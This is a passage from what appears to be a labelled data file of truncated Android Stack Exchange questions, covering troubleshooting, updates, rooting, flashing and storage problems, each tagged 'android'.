data/3G charge is ... ",['android'] "Title: How to diagnose malfunctioning wifi? Body: Nexus One, cleared internal user storage to near-factory settings using the boot menu. My computer is connected to wifi, and I have a USB tether to my phone. But when I click on ""Connect to wifi"" -- ... ",['android'] "Title: Is there a way to find out the Google account currently registered to my stolen phone? Body: Unfortunately Android Device Manager does not provide this information. It also doesn't provide an SMS feature where I can send an SMS to my stolen phone telling the current user that the phone was ... ",['android'] "Title: Share mouse and keyboard between multiple androids Body: I'm new to android but I have an application in mind that I'm willing to work long for: setting up three or four android tablets upright, as if I were looking at a four-monitor desktop pc, and use one ... ",['android'] "Title: Sony Xperia Ray contacts lost after deleting the contents of /data/log Body: I have an Xperia Ray. It showed low internal memory. So, I freed up memory by removing the contents of /data/log/. Unfortunately, my contacts got deleted. To add to my misery, my laptop crashed. I ... ",['android'] "Title: Huawei Ascend Y 200 Gingerbread 2.3.6 does not recognize MP3 files in my music folder Body: Device: Huawei Ascend Y 200 Android: Gingerbread 2.3.6, not rooted. On my SD card, there is a folder called Audio which includes MP3 files (with English and Hindi Sub Folders). There are 134 music ... ",['android'] "Title: ES File Explorer suddenly not allowing connection? Body: I downloaded the ES File Explorer a while back to get access to my shared files, folders and my 2TB external drive. Everything worked fine until today. I tried to access my external HDD but got an ... ",['android'] "Title: Nexus 4 bricked by OTA upgrade Body: In early august, both my nexus 4 and my nexus 7 got the OTA upgrade. The nexus 7 one worked without any problems. The one for my phone actually bricked my phone. First it was stuck on the X-logo ... ",['android'] "Title: call reject with message on GT-S5300 Body: my GT-S5300 has Gingerbread 2.3.6. Is there any way to upgrade or change this so that I can reject calls with a message / block calls in the same way that the bigger Galaxy (like the S III) can? Apps ... ",['android'] "Title: Speed of Nova or alternative launchers? Body: I'm thinking of getting the GS4, but plan to use Nova Launcher. When using an alternate launcher, will this negate any slowness or lagging introduced by TouchWiz? Or is the damage done deeper in the ... ",['android'] "Title: Netflix refusing to log in, tried all the typical solutions Body: Just got my new tablet, tried to get netflix running. I took the following steps. Installed netflix, got 15001 error Ran system update, I am now completely up-to-date, error no longer occurs ... ",['android'] "Title: YouTube app won't display the same search results as the desktop version Body: The main problem I've been having is that searching for ""Stairway to Heaven"" and a few other songs on the app returns only covers, live performances, etc; Only when I search on my laptop do I get the ... ",['android'] "Title: Bug Report and Power-Bug Report Functions not working on Nexus 7 Android 4.3 Body: I need to gather log info for QA testing. The settings menu ""Bug Report"" and the power menu ""Bug Report"" functions don't work for me on my Nexus 7 running Jellybean 4.3 (don't know if it ever worked ... ",['android'] "Title: Shortcut/Widget to set a reminder in Google Now Body: I use Google Now to set reminders quite often. At times when I'd rather not be talking at my phone to add a reminder, I wish I could have a button on my homescreen that would take me straight to the ... ",['android'] "Title: How can I install Jelly Bean on a Micromax Funbook P560 [duplicate] Body: where and how can i find jelly bean for Micromax Funbook P560 plase shear the link ",['android'] "Title: How to restart VOLD daemon? Body: How do I restart the Volume Daemon (VOLD) on Android 4.3? I've modifed /fstab. and need to relaunch VOLD to recognize the new changes. ",['android'] "Title: What do the different coloured bars on the 1x1 widget in Better Battery Stats app mean? Body: I understand these are supposed to signify ratios of different phone states but I cannot get my head around which is supposed to be which. ",['android'] "Title: Disable IME Switcher (Keyboard) Icon in AOKP/RootBox Body: I just did a fresh wipe for RootBox 4.2 (Jellybean 4.2.2) on my S3 and so I have to do all my settings again. One of the things I struggle with every single time I do a clean install is finding the ... ",['android'] "Title: Change of OS in Samsung Rex 80 [duplicate] Body: I have a Samsung Rex 80 Mobile. Is it possible to change the OS to any Android version? I am trying to change it to Android so give me some solution whether it is possible or not ? ",['android'] "Title: Google Drive App says folder is empty, even though it is not Body: I've recently started to use Google Drive on my devices (desktop, laptop, smartphone). It works great, but not on my phone. All folders were populated, but now some are suddenly empty (folder still ... ",['android'] "Title: My Internet and picture messages are not working on my Samsung galaxy ace Body: I have a Samsung and I'm with 02 and for the past few months my internet and picture messages haven't been working and I checked my contract and I'm meant to have Internet and picture messages and ... ",['android'] "Title: typed internal addresses do not work in Android browser or IE Body: I have a Comcast wire provider using 6141 Motorola modem connected to an ASUS wireless router. I have to Android phones connected wirelessly,a Samsung tablet 10.1, one Ipad, A printer, a Jeannie ... ",['android'] "Title: How do I upload Cyanagenmod when the only things I have access to are Download mode and ClockworkMod recovery? Body: I have a Samsung Galaxy Tab 7, the UK version. I managed to mess up in the beginning when trying to install CM and now have it in a state where I can either boot into Download mode or ClockworkMod ... ",['android'] "Title: How to find the unboxing date of android phone? Body: When trying to buy a used phone is there any way to check how long this phone is in use? or the date when this phone is turned on first time? or time of un-boxing? or time of first usage? Someone ... ",['android'] "Title: How to restore memos on Samsung S2 Body: I have used the memo app which came with Android (the one with the big ""T"" logo) successfully for years. Today it suddenly lost all my memos without warning. Is this a known bug? Is there some way to ... ",['android'] "Title: take Nexus 7 from android 4.3 to 4.2.2 Body: I have just purchased a Nexus 7 (2013) and it auto updated to android to 4.3 as I was setting up. Unfortunately USB OTG now does not run. I purchased the Nexus 7 for it's OTG feature. I've done a ... ",['android'] "Title: Remote activate android app Body: I have an OUYA with XBMC installed, and watch films using the remote app on my Android phone. To watch a film I have to use the Ouya controller to launch XBMC. How can I remotely start XBMC on my ... ",['android'] "Title: Change layout of software buttons on home screen Body: I have a China-branded tablet running Android 4.2. The tablet has the ""new"" Jellybean 4.2 home screen button layout where the software buttons are centered on the screen, rather than aligned left as ... ",['android'] "Title: Heimdall errors, “ERROR: Partition ”recovery“ does not exist in the specified PIT.” Body: When I try to flash my S4 with Heimdal and put on clockworkmod, i get the follow, $ sudo heimdall flash --recovery ./clockworkmod_6.0.3.2_jfltespr.img --no-reboot Heimdall v1.4.0 Copyright (c) ... ",['android'] "Title: Heimdall errors, “ERROR: Failed to confirm end of file transfer sequence!” Body: Using Heimdall v1.4 RC1 to flash Clockworkmod Recovery on a Samsung S4, I get the following, $ sudo heimdall flash --RECOVERY ./recovery.img --no-reboot Heimdall v1.4 RC1 Copyright (c) 2010-2012, ... ",['android'] "Title: Stick Home buttons to the horizontal bottom when in landscape mode Body: I just bought a Google Nexus 7 and it is awesome, i really like the dynamics of Android coming from iOS. But what really stuck me is that when you have the tablet in horizontal, the software buttons ... ",['android'] "Title: HTC One / Beats Earbud Conflict Body: The Beats earbuds that came with my HTC One initially worked great: the inline control worked, sounded decent. Recently, the phone fails to recognize them however. When I plug in alternative earbuds ... ",['android'] "Title: How to change PPTP VPN client's port number? Body: I saw this post: Change PPTP control connection's TCP port number and I successfully did it on my PC. But how do I change Android's PPTP VPN client's port number? My Android phone is rooted and I ... ",['android'] "Title: Where is the permissions tab in Google play? Body: About 1 month ago Google change the layout on the Play store, at least on the web part. My question is simple. Is there any way to see what permissions an application have from a computer? You can see ... ",['android'] "Title: Backup Possibility? Body: Although I am fairly technically proficient, I am very new to Android, having only very recently purchased my first Android device, the Galaxy S4 phone, T-Mobile USA version, latest stock ROM. I ... ",['android'] "Title: USB Tethering Problem Body: I am using USB Tethering to use my phone as a modem. Whenever I activate USB Tethering, there will be two network present in my PC. One named Network X(X being a number which is incremented every time ... ",['android'] "Title: Offline Voice search on ICS? Body: I have an Samsung Galaxy Exhilarate, with 4.0.4 operating system. Is there a way to get offline voice search for Ice Cream Sandwhich or below? ",['android'] "Title: My Parents are tracking my Android phone. How can I prevent that or fake the location? Body: how can i prevent my parents from tracking my device? i have a samsung galaxy. I have heard that i can turn off my data, gps locator, or the phone itself BUT i would like to be able to keep my phone ... ",['android'] "Title: Send SMS to Email address using Android without Internet Body: I would like to know whether its possible to send an SMS text message to an email address in Android. Moreover, I need to send it without using Internet. I have heard of SMS to Email gateways but then ... ",['android'] "Title: What Could Cause System Apps to Run that Are Not Used Body: When testing a widget I created, I wanted to make sure that it uses as little CPU power as possible. After some research I downloaded Watchdog to use as a monitoring tool, which works great. When I ... ",['android'] "Title: Whatsapp on emulator - Can't setup the recorder now, please try again later Body: I have Whatsapp on my emulator (2.3.3 version). I got the latest update - voice messaging. However, when I try to record a message, this is what occurs. I have no idea how to get this diagnosed. ... ",['android'] "Title: Apps that use video. error video cannot be played Body: I Have downloaded some applications that have video backgrounds instead of images. these games seem to play the locked levels videos fine although they are distorted since they are locked but as soon ... ",['android'] "Title: Adding a thumbnail/icon to a newsletter Body: When you receive an email, you usually get the first letter of the sender as an icon on the left side, right? Well I was wondering how I would be able to change this icon when sending a newsletter ... ",['android'] "Title: How can I fix freezing and boot loops on AOKP? Body: Occasionally my Galaxy S3 (International) is freezing and rebooting, sometimes gets stuck in a boot loop. Is there a way I can find what's causing this? Perhaps some kind of event viewer or memory ... ",['android'] "Title: Phone frozen for a short time after unplugging from charger Body: When my screen is off and I unplug my Nexus 4 from the charger, the phone is frozen with the screen off for about 10 seconds. Power/volume buttons have no effect and the phone will not wake. If the ... ",['android'] "Title: Disable traffic when tethering Nexus phone to a tablet [duplicate] Body: Device: Nexus 4, Nexus 10 Is it possible to disable some traffic (e.g. app update or syncing like Google books) when tethering the mobile connection on a phone from a tablet? ",['android'] "Title: Looking for a good library of Tasker scripts/recipes Body: I am looking for a library of Tasker scripts/recipes. By ""Good"", I mean the following features are a must: Sizable (say, 1000 recipes total at least) Fully categorized recipes Fully searchable ... ",['android'] "Title: What's the native wallpaper resolution of HTC One? [duplicate] Body: I don't mean 1080p, but actual unscaled image size so when I set the wallpaper to an image with that size, it won't ask me to crop. It will fit without scaling. ",['android'] "Title: Incorrect Phone labels for Google+ contacts Body: On the Samsung Galaxy S3 contacts synced from Google+ will have their phone number labels garbled. In the following image you can see the three phone numbers associated with my contact. They are ... ",['android'] "Title: How do I make the music player display on the lock screen? Body: When I'm listening to music on my Android using Music Player, I want to see what song I'm listening to on my lock screen, and maybe even play/pause and go forward/backward on the playlist, but not ... ",['android'] "Title: Is there a lightweight way to test C code on Android? Body: I want to write and run small general purpose C code snippets on my Android phone. These will primarily be data structures and algorithm implementations. Is there a lightweight and quick way to do ... ",['android'] "Title: Display GPX in Google Maps or other simple application? Body: I need an application that supports the following features: offline map (no Internet connection) bookmarks (POIs added by me from either my PC -> KML or in the app itself) Since (Google) Maps ... ",['android'] "Title: How to install apps on SD card in rooted 4.0.4 Samsung Galaxy S Duos? Body: I have rooted my Samsung Galaxy S Duos but unable to move apps on SD card. How should I move apps to SD card? ",['android'] "Title: Not getting current location even if Location Services are enabled Body: Device: Samsung mobile phone Android: 4.0.3 My Location Services are enabled, but I am not getting the current location. When I restart the phone, it works. What could be the problem here? ",['android'] "Title: Why does TitaniumBackup not allow me to restore apps after upgrading to 4.3? Body: After upgrading to 4.3 from a previous version (in my case 4.2), TitaniumBackup might exhibit a behavior where restoring apps does not work and the process just freezes on some devices, in this case a ... ",['android'] "Title: Does Mobogenie for Android install adware on the phone? Body: Has anyone used Mobogenie? It looks like a very useful way to control an Android phone from a PC, but I found one review that says it installs adware in your browser. However, it wasn't clear if this ... ",['android'] "Title: Is the SHIELD an Android device with a fully open source software? Body: NVIDIA announced the Open Source Resources for the Tegra SHIELD device. Does this mean the SHIELD is a device with fully open-source software? How does it compare to another device, for example, the ... ",['android'] "Title: A second Boot Loop, any underlying causes? Body: Recently, a while after I rooted my Galaxy SII, I decided to take the plunge and flash a custom rom. I went with the stable slimbean roms, It survived for a little over a month or two, with 1 maybe ... ",['android'] "Title: Viewing photos from my Samsung Galaxy S4 camera on PC Body: I have a Samsung Galaxy S4, which I'm able to connect via USB to my PC and browse its files with Windows Explorer without using Kies. I have a lot of photos I want to transfer on to my computer, but ... ",['android'] "Title: Unable to upgrade rooted 4.2.2 with OTA update 4.3 [duplicate] Body: I bought my Nexus 4 from Google a while ago with 4.2.2 on it. It's using the stock rom, but it is rooted and has an unlocked bootloader. When I try to install the OTA 4.3 update, the phone reboots ... ",['android'] "Title: Android Sat Nav Apps Body: I have a few questions about Sat Nav applications running on Android. Does the pre-installed sat nav app require a connection to the web? Does it operate in car and pedestrian modes and be updated ... ",['android'] "Title: how to open a .hbk files which contains the sms backup from htc one s Body: I can't open the backup of sms because after sending it on my mail I discovered it's a hbk file. How can you open this type of file? I need to print them! thanks ",['android'] "Title: How to recover deleted files on Android phone [duplicate] Body: I was a using an autocall recorder app on my HTC Wildfire. I saved a call on my phones SD card and in my Dropbox. However, I accidently deleted the saved call and it was removed from my dropbox file. ... ",['android'] "Title: What is the difference between Peak schedule/Off-peak schedule in Android mail application? Body: In Android mail app, what is the difference between Peak schedule and Off-peak schedule ",['android'] "Title: Bluetooth device only try to pair Samsung Galaxy S3 but not HTC Sensation or Samsung Galaxy Nexus Body: Bluetooth device supports Bluetooth 2.1 so no keying PIN necessary. All 3 Android phones Samsung Galaxy S3 with Android 4.1.2, HTC Sensation with Android 4.0.3 and Samsung Galaxy Nexus with Android ... ",['android'] "Title: Mount exFAT volume using Paragon exFAT, NTFS & HFS+ app Body: Device: Mini-PC RK3188 Android: 4.2.2 jelly bean, rooted I am using Paragon exFAT, NTFS & HFS+ to mount and access NTFS and HFS+ volumes. As it states in the application description, exFAT is ... ",['android'] "Title: installing firefox on android 2.3.6 failed Body: I try to install Firefox browser on android 2.3.6 , after downloading , in installing progress it failed by this message: ""Application not installed."" I have enough memory, Also I try older versions ... ",['android'] "Title: Sporadic SMS on Galaxy Nexus after upgrade to 4.3? Body: I have an unlocked Galaxy Nexus I bought directly from Google and use a T-Mobile plan. Last week, I got the OTA update for 4.3. Since then, I haven't consistently been able to send text messages. The ... ",['android'] "Title: How to enable Play Store auto-update for just a few apps? Body: As the title says, I'd like to enable auto-update for trusted apps (e.g. Google apps), but if I open the app in Play Store and check Auto-update, I get the question ""Auto-update is currently disabled ... ",['android'] "Title: Is it possible to turn of the GSM radio and still use data connection? Body: I recently starting using a Samsung Galaxy S4. I need to use a special phone at my work. For that purpose I have a duo card where I turn off one phone to use the other. The problem is that I can ... ",['android'] "Title: Why is SafeStrap disabled on my Motorola Droid 3 (Verizon)? Body: I decided that I wanted to try out Ubuntu touch, but I don't want to put it on my current phone, so I decided to try to put it on my old Droid 3. I followed these instructions to root the phone: How ... ",['android'] "Title: Automatic system-wide proxy Body: When I'm on a public network that I don't trust, I use a combination of ConnectBot and ProxyDroid (with ""Global Proxy"" enabled) to tunnel my phone's traffic through a trusted server that I control. ... ",['android'] "Title: Why does my Android OS state that there's, “Not enough free space to install the program”, when there's plenty of free space? Body: My hard drive on my smartphone has 100 MB free, and the app I'm trying to install is 2 MB. I just recently deleted apps totalling to about 88.3 MB, and the computed size has already been adjusted, ... ",['android'] "Title: Android Os problem Body: I necessarily deleted a folder called app (it contained the basic apps .apk files and other files for example: calculator.apk) on my samsung galaxy mini. After that everything seemed to froze, so I ... ",['android'] "Title: How do I set the calendar display to the correct timezone on my samsung nexus phone? Body: How do I set the calendar display to the correct timezone on my samsung nexus phone? For instance, editing of a calendar entry shows 14:00 [Montreal time], but the event display time in the calendar's ... ",['android'] "Title: What does a red battery icon indicate? Body: While charging my Jellybean 4.1 device at my PCs' USB, I see the following red battery icon in the notification bar: What does the red color indicate? ",['android'] "Title: Galaxy 2 Change operating language from Chinese to English [duplicate] Body: I bought my samsung galaxy two fro china now it has all staff with Chinese language. How can I change it to English for instant if I want to download some thing it'll ask Chinese if you know please ... ",['android'] "Title: Decrypt my Micro SD Card Body: I have been looking every where for an answer to this. I had a Razor MAX with an encrypted card in it. Well I dropped that phone and it died on the spot. I now have a SG3 and the micro sd card ... ",['android'] "Title: ICE Emergency Contacts on Emergency Dialer Screen Body: On my Samsung Galaxy S 4, I can add contacts to the ""ICE - emergency contacts"" group. When I initiate the emergency dialer, there are four gray buttons with plus signs. Pressing any one of them brings ... ",['android'] "Title: How to change the ringtone for SMS in Samsung Galaxy Y? Body: Is there a way to change the ringtone for SMS in Samsung Galaxy Y, Gingerbread v2.3.6? ",['android'] "Title: Cannot find packet data in Samsung Galaxy S Body: Where can I can find 'packet data' on my phone, and how can I use internet when I'm on the road? ",['android'] "Title: moving a contact to the bottom of the list Body: I have a Galaxy Note 2 with CM 10.2 and gapps installed. I keep my contacts in Google and synchronize them to the phone. This works fine. I would like to move selected contacts to the bottom of the ... ",['android'] "Title: Fixing GPS lock that takes too long without installing a custom ROM Body: My phone (Huawei Y300) takes a little under 10 minutes to get a GPS lock. This has been happening both in new locations as well as in and around my home (where it's on frequently). What could be the ... ",['android'] "Title: how is using busybox possible without mounting /system first? Body: run_program(""/sbin/busybox"", ""mount"", ""/system""); looking at updater-scripts (this was from a gapps zip) i noticed a mount command such as above. how can the script use busybox to mount before the ... ",['android'] "Title: Change video quality of embedded YouTube video in Chrome for Android Body: Is there a way to change the video quality when playing embedded YouTube videos in Chrome for Android? I can only change the video quality in the YouTube application. ",['android'] "Title: How to show a message on the lock screen in case I lose the phone? Body: I want to show a message on the lock screen in case I lose the handset. How do I do this? If relevant, my device is a Samsung Galaxy S II. ",['android'] "Title: How to repair HTC Sensation XE with Beats Audio touch screen? Body: I have bought a HTC Sensation XE with Beats Audio and I am told apparently water got inside and cant be turn on. However when i disassemble it, saw nothing, any oxidation residue. After some normal ... ",['android'] "Title: What is the difference between AOSP and AOKP? Body: What is the difference between AOSP and AOKP? Are they related to Stock ROM? ",['android'] "Title: How to root this device? RK3188 Body: I am attempting to root at RK3188 Mini PC I bought from amazon. I believe I have found the drivers, but cannot figure out how to connect a USB cable to the device to connect to my PC to root. Please ... ",['android'] "Title: How do I add other apps to Samsung's multi-window/sliding app in Android 4.1.2? Body: I just got the Android 4.1.2 update. I know how to disable the multi-window/sliding app section. I know how to add and remove the preassigned apps there, but how can I add other apps (e.g. camera, ... ",['android'] "Title: Trying to go into Download mode, but goes to Recovery mode instead Body: Device: Samsung Galaxy S4 Android: 4.2.2 I can't get into Download mode. I have tried many options like removing battery solution, pressing Vol Down+Home+Power. I always get into Recovery mode. ",['android'] "Title: Connecting Samsung Galaxy Note 8 to a hardwired Ethernet Body: Has anyone been able to connect the Galaxy Note 8 to a hardwired Ethernet network? If so, what adapter was used? There are times that I cannot use the Wi-Fi and need to connect using a wired ... ",['android'] "Title: Is there any way to block websites without Root access Body: I am searching for a way to block websites without having root access. Is there any way to do it? Any help will be appreciated. ",['android'] "Title: What is the difference between a Restricted Profile and a User in Android 4.3? Body: Android 4.3 introduced a new feature called Restricted Profiles. What is a restricted profile, and how is it different from a User? ",['android'] "Title: Can tablets differentiate between regular wi-fi and mobile hot spot? Body: There are a lot of apps in Android which act differently depending on the internet connection. Such as apps which auto-upload photos to the could only when connected to Wi-Fi, and not when connected ... ",['android'] "Title: Any chance to save merging data Google and Facebook contacts? Body: after factory reset of my Motorola Atrix (2.3.7 Android) I can easily restore SMS messages, E-mail, call-history and etc. My problem is that after the reste I have to merge manually contacts imported ... ",['android'] "Title: Nexus 4: Can't get phone into vibrate only mode Body: After a recent Android update, my toggle keys for the Nexus 4 will not let me put the phone into vibrate only mode. I can adjust the volume down to it's lowest setting, but it still makes noise for ... ",['android'] "Title: “PLAY MUSIC” App Keeps Changing the volume of the sound by itself on Galaxy S4 Body: I bought a new Galxy S4 few days ago and since then i have been facing problems with the PLAY MUSIC App, it keeps changing the sound volume while a song is running. I tried applying different setings ... ",['android'] "Title: Wrong playlist order in Google Play Music app Body: I use the Google Play Music app (https://play.google.com/store/apps/details?id=com.google.android.music) to play locally stored music on my Galaxy Nexus running Android 4.3. I have created some ... ",['android'] "Title: I accidentally deleted my android phones system app Body: Anyone can help me on how to restore system apps like HOME.apk, i accidentally deleted it so the phone is stuck on boot, cant go to its home, my phone is a goophone4s thanks ... ",['android'] "Title: Tablet loses all data on internal storage every boot Body: When I power on my tablet everything I have saved gets formatted and in the settings section it tells me that I don't have any space left on my internal hard drive (0.00B). Under that however is a bar ... ",['android'] "Title: OTA update to Jelly Bean 4.3 fails (Nexus 4) Body: I just purchased a used Nexus 4 online and it came with Android 4.2.2 (stock, as far as I can tell). The phone does have an unlocked boot-loader and is was rooted. I was able to un-root using ... ",['android'] "Title: Vibration Not Working on Samsung Galaxy SIII Body: I have all of my settings up all the way for haptic feedback and all the other notifications' vibration. About a month ago it stopped working all together. I have no idea why. I rely on vibration for ... ",['android'] "Title: why my htc status goes back to its rom defult settings after restart? Body: i have HTC status i had unlock and root my phone and also i created a 2nd ext3 partition which i linked it with Link2SD in order to improve internal memory. then i installed a bunch of different ... ",['android'] "Title: What time does Google Play update apps when it is set to auto-update? Body: I'm not getting on what basis Google Play will update apps when auto-update is enabled. Is it time-specific, or something else? ",['android'] "Title: Running MX Player on a Nexus 10 to access an ext4 USB Flash drive Body: How would I play an MP4 on a USB Flash drive connected to the Nexus 10? The drive was formatted with Ubuntu with ext4 format. I have the MX Player but it does not see the USB Flash drive. ",['android'] "Title: Just did system update and forgot I had TWRP and root and now the updates changes havent taken affect! Body: Help! I have just installed the Android 4.3 update on my Nexus 7 which is rooted with a vanilla kernel with TWRP installed. It rebooted after the update and it booted straight into TWRP so I rebooted ... ",['android'] "Title: Corrupt album art Body: One of my albums has a corrupt album art and I can do nothing to fix it. The cover is stored as a file named folder.jpg in the audio files' folder. The picture looks fine when I open it with any ... ",['android'] "Title: YouTube app stops loading Body: Device: Xperia V Android: Stock ROM, rooted When I watch some YouTube video on the YouTube app, it plays up to some point. Then, it just shows that it loads, and never continues. Why is that? ",['android'] "Title: Can you Disable Wi-Fi and Bluetooth from Google Apps or a MDM Server? Body: This page claims: Wifi configuration from Admin console - Enter Wifi network settings in the Admin console, and they’ll automatically be pushed out to all managed Android devices. Does this ... ",['android'] "Title: Mx player says unsupported android version for 4.3 Body: I have installed 4.3 yesterday on my Nexus 4, and since that time MX player would not load, saying: unsupported android version Is there a workaround, or do I have to wait until the developers ... ",['android'] "Title: USB OTG support on Samsung Galaxy Chat B5330 Body: I have Samsung Galaxy Chat B5330 and I was wondering if there is a way to get USB-OTG support on this. sorry for my bad English. ",['android'] "Title: SIM card is not working on Sony Xperia Z (Android 4.1.2) Body: My friend has a problem using his micro-SIM card on his new Sony Xperia Z (Android 4.1.2) The problem is: when he inserts the SIM card, the phone display a message that the SIM card has been ... ",['android'] "Title: Mount inside subdir of /storage/emulated/0/ Body: I'm using Debian Kit to run a Linux system on my Nexus 7 running Cyanogenmod 10.1, and I'd like to be able to mount arbitrary things inside of my /storage/emulated/0/, such as WebDAV or sshfs. The ... ",['android'] "Title: Drag to change route in Android Google Maps Body: In Google maps, we can use ""drag and drop"" to get a custom route: How can we do this on Android maps? I tried to drag but it doesn't work. It provides several alternative routes, but none of them ... ",['android'] "Title: Has anyone heard of a “Coin mode”? Body: Someone asked me how to get out of ""Coin mode"" the other day. The user in question may have misunderstood a prompt or been confused as I was unable to reproduce the specific error. However there ... ",['android'] "Title: How to erase all data on android tablet? Body: My cousin locked my tablet trying to figure out the passcode and locked me out! Im trying to erase all data. please help. ",['android'] "Title: Cannot access Internet using Wi-Fi Body: I am using Samsung Galaxy GT-S5830i, a signal shows when connected to my work wireless, but I could not access the internet whenever I try. Could you assist? ",['android'] "Title: Meaning of purple blinking on Sony Ericsson Play (R800)? Body: The phone went off and I cannot turn it on. I tried pulling battery out, but it did not help. Cannot also connect it to SEUS since it does not detect a mobile connected. Now, when I connect a mobile ... ",['android'] "Title: Update Galaxy Nexus from 4.2.2 to 4.3 while keeping files and root Body: I have a rooted GNex with stock kernel and stock ROM. Device is only rooted, CWM installed and unlocked bootloader. I received the OTA update yesterday but haven't tried to apply it since I have a ... ",['android'] "Title: Problem with build number “full_mako_userdebug” on Nexus 4 Body: On my nexus 4 i have build number ""full_mako_userdebug"", and when im trying to connect usb to my pc, i get nothing, in explorer nothing appears like a flash drive, also it fails when it tries to load ... ",['android'] "Title: How do I access the root folder of the phone's internal storage using the PC? Body: How can I access my internal phone storage on PC? I mean the root storage, the path. So that I could put back the lost app on the system storage. ",['android'] "Title: Missing voicemail and SMS notifications Body: Device: Galaxy Note 2 Android: 4.1.2 I am not getting message notifications when a voicemail is in my messagebank and when I receive an SMS. ",['android'] "Title: Stop announcement of who is calling me Body: How do I stop my phone from announcing the name of who is calling me on my Droid Razr Maxx? I've gone into my settings and can't find out why this is doing this. ",['android'] "Title: App compatibility with a tablet Body: I might buy Nexus 7. But how are the apps configured with this larger screen? It's in between a regular tablet 10"" and a phone 4"" so how, for example, will apps like notational acceleration ... ",['android'] "Title: How do I make OpenVPN Connect honour the keepalive setting? Body: I've got an OpenVPN server and a Android OpenVPN client (OpenVPN Connect). In the server config I've configured it to use a less often than standard keepalive ping. By default, it's a ping every 10 ... ",['android'] "Title: Android x86 Virtual box with Internet and connection to adb? Body: I have Android x86 4.2 Installed on my Virtual Box. My main purpose is debug with eclipse and get internet on Android Some how i am able to get internet and also able to connect from adb (of ADT) but ... ",['android'] "Title: After swapping my Internal and External storage on my Tablet, after rebooting all apps on SD card disappears Body: After swapping my Internal and External Memory on my Tablet, after rebooting all apps on SD card disappears. My tablet is from China, its a Vido N70S. And just a note after swapping it seems that the ... ",['android'] "Title: SMS messages disappear right after being received Body: I have LG Optimus one with android 2.3. I get text messages (SMS) and notification appears in the notification bar. But I can't find them (messages) in the ""messages"" app. They simply disappear! ",['android'] "Title: Cannot connect Sony Xperia E15i to PC Body: I have a Sony Xperia E15i. When I try to connect it to PC, it shows USB Device not Recognized error. The phone doesn't have settings for USB connectivity. How can I connect the phone to PC? ",['android'] "Title: GS3 Screen Turns Off before timeout Body: I have an unrooted Galaxy S3, with official Samsung Android 4.1.2 ROM. Yesterday the device just started to turn of the screen without locking the phone and before screen timeout, and it just won't ... ",['android'] "Title: Phone slowdown after Jelly bean update Body: I have Sony Xperia P phone which is updated to Jelly bean when they rolled out the update. It came with Gingerbread and I updated it to ICS, as soon as I got it. It was running great. But it's ... ",['android'] "Title: How to restore internal flash storage on android phone? Body: How to restore internal flash storage on android phone after formatting to fat32? The phone (Zopo980) is now not able to detect the internal flash storage. I tried connecting to PC and the internal ... ",['android'] "Title: How can I keep my phone from closing Firefox when I lock it? Body: Often, if I lock my phone while Firefox is open (not even ""minimized""), it and whatever web pages I had open will reload when I unlock the phone. It takes forever, especially on pages that do that ... ",['android'] "Title: Cannot perform OTA update on encrpyted Nexus 4 Body: I encrypted my phone because of an Exchange policy with my employer. However, to apply the OTA update, I must decrypt. But the encryption option is greyed out at Settings. I tried removing my Mail ... ",['android'] "Title: Trebuchet: Disable/Hide Dock Body: Is there a way to disable the dock entirely on Trebuchet on CyanogenMod? I find that I always go to my main home screen before touching the app drawer out of habit, so I'd like to have that extra ... ",['android'] "Title: questions about whatsapp, wechat, line, hangouts, Body: A little background: In the past, I Had the very popular Whatsapp installed in my phone, but since it was a slow phone with very low RAM, the program just killed my performance and drained my ... ",['android'] "Title: When tethering, is there a way to turn off the phone's own data usage? Body: Just a quick question, really. When I'm tethering (via USB, or wireless, or whatever) my phone's apps (and there are a significant number of my apps which do this) are constantly using the phone's ... ",['android'] "Title: Remove Sensitive Data From Work Phone Body: I've moved on from a previous job, and as part of the process I need to return my work provided phone. I have factory reset the phone, as well as electing to erase the SD card. There was some ... ",['android'] "Title: How to upgrade Galaxy Nexus to android 4.3 Body: I am trying to upgrade Galaxy Nexus 4.3 factory image. I reboot my phone using 'adb reboot-bootloader'. It boot to a screen with the android rebot. and then I go to the directory with the build, and ... ",['android'] "Title: how to set up lockscreen and quick acces to apps Body: Back in the day, I had a phone which I rooted and got a custom rom. (An Xperia X8, with the GingerDX custom rom using android 2.3.7) When I turned on the phone, I got the sliders for calling, ... ",['android'] "Title: how do i change my photo in my message threads? Body: I have an lg optimus elite and I am running the regular droid system. in my text message threads, under >me< where my messages are, it shows one of my contacts, rather than my facebook or google ... ",['android'] "Title: I am locked out of my S3 after forgetting the password Body: I forget my password and now I m locked out of my phone is there anyway I can get back it or if needs a flash or factory reset is there anyway I can get my data back. ",['android'] "Title: Is it possible to install already installed apps with one click? Body: In the Apple App Store, if you have downloaded an item in the past, you can click the INSTALL button to download it in one click. However, in the Google Play Store, you have to go into the app, press ... ",['android'] "Title: Do I root to my model, or my version number? Body: When I rooted my last phone, I was able to find a detailed tutorial made specifically for the model I had. It was great, because I knew I had fully compatible tools and ROMs, which limited my amount ... ",['android'] "Title: How does one get top and bottom bar on Adobe Reader app with recent documents button etc.? Body: Adobe Reader has top and bottom bars which shows home/recent, navigation document buttons, navigation bar other ""widgets"". It looks like this: The problem is that I do not know how to open it: menu ... ",['android'] "Title: Can I recover app data after the phone has been Factory Reset? Body: Without remembering application data, I reset my Galaxy S3 to factory state. Now, I lost data for one expense manager app. Is there any way to recover the data? ",['android'] "Title: Changing install location to 2 with `adb shell pm set-install-location 2' results in 'insufficient memory' errors when installing apps Body: I am using Galaxy Grand GT-19082. I used latest android sdk and unpartitioned new 32 GB SDHC Card. I used adb shell pm set-install-location 2 and it shows that It selected 'External 2'. After ... ",['android'] "Title: Why do people recommend to flash a ROM or an Odin component (PDA, Phone, CSC) at least two times? Body: In XDA, I often see people complain that they flashed something, and it doesn't work. Then, somebody tells them to try flashing it again, and it works! What's the reason behind this? I imagine this ... ",['android'] "Title: Moving apps to folders within the app drawer using the stock launcher of Samsung Galaxy S4 Body: So on my Galaxy S4 I can open the Apps Overflow Menu (4x4 square-ish dots) and press the menu button (left of the Home) and choose edit. From there I can long press icons and put them into a folder on ... ",['android'] "Title: New media format support in android Body: I have a file with custom media format(*.xyz). The gallery app is not at all listing this file. So how could I make gallery list this file? ",['android'] "Title: Availability of the Menu Key Body: As seen on backwards compatibility for the Android phones, do some phones always have traditional physical keys like the Menu Key, ususally on Gingerbread and older only? I was wondering if most ... ",['android'] "Title: How do I install apps to Internal/External SD instaed of Phone Storage [duplicate] Body: I have a dual SIM mt6589 based Android 4.2.1 phone, and I have no idea where the apps are getting installed. My phone has an Internal SD card(built in), An External SD card and something called Phone ... ",['android'] "Title: Droid 